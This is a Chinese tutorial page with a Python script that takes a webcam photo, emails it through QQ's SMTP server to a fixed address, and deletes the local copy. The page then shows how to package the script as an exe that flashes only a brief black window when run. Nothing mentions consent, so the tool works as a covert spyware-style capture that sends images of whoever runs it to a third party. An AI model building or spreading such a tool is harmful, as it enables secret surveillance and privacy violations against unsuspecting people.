首頁 > 軟體

Python實現呼叫攝像頭拍攝照片

2022-06-18 14:00:03

步驟

  • 用opencv開啟攝像頭並拍照
  • 儲存照片到本地
  • 獲取郵箱(如qq郵箱)的授權碼,方法可自行百度
  • 將照片以附件的形式傳送到指定郵箱
  • 刪除本地照片

程式碼

import os                                       # 刪除圖片檔案
import cv2                                      # 呼叫攝像頭拍攝照片
from smtplib import SMTP_SSL                    # SSL加密的   傳輸協定
from email.mime.text import MIMEText            # 構建郵件文字
from email.mime.multipart import MIMEMultipart  # 構建郵件體
from email.header import Header                 # 傳送內容


# 呼叫攝像頭拍攝照片
def get_photo():
    cap = cv2.VideoCapture(0)           # 開啟攝像頭
    f, frame = cap.read()               # 將攝像頭中的一幀圖片資料儲存
    cv2.imwrite('image.jpg', frame)     # 將圖片儲存為本地檔案
    cap.release()                       # 關閉攝像頭


# 把圖片檔案傳送到我的郵箱
def send_message():
    # 選擇QQ郵箱傳送照片
    host_server = 'smtp.qq.com'         # QQ郵箱smtp伺服器
    pwd = 'xxxx'            # 授權碼
    from_qq_mail = 'xxx@qq.com'          # 發件人
    to_qq_mail = 'xxxx@qq.com'            # 收件人
    msg = MIMEMultipart()               # 建立一封帶附件的郵件

    msg['Subject'] = Header('攝像頭照片', 'UTF-8')    # 訊息主題
    msg['From'] = from_qq_mail                       # 發件人
    msg['To'] = Header("YH", 'UTF-8')                # 收件人
    msg.attach(MIMEText("照片", 'html', 'UTF-8'))    # 新增郵件文字資訊

    # 載入附件到郵箱中  SSL 方式   加密
    image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
    image["Content-Type"] = 'image/jpeg'   # 附件格式為圖片的加密資料
    msg.attach(image)                      # 附件新增

    # 開始傳送郵件
    smtp = SMTP_SSL(host_server)           # 連結伺服器
    smtp .login(from_qq_mail, pwd)         # 登入郵箱
    smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 傳送郵箱
    smtp.quit()     # 退出


if __name__ == '__main__':
    get_photo()                 # 開啟攝像頭獲取照片
    send_message()              # 傳送照片
    os.remove('image.jpg')      # 刪除本地照片

實現效果

將寫好的程式打包成exe檔案

為了減小exe的大小可以自行新建一個虛擬環境再打包

雙擊exe暫時出現黑框

檢視郵箱資訊

需要下載附件後自行更改檔案字尾就可檢視所拍到的圖片了

到此這篇關於Python實現呼叫攝像頭拍攝照片的文章就介紹到這了,更多相關Python攝像頭拍攝照片內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com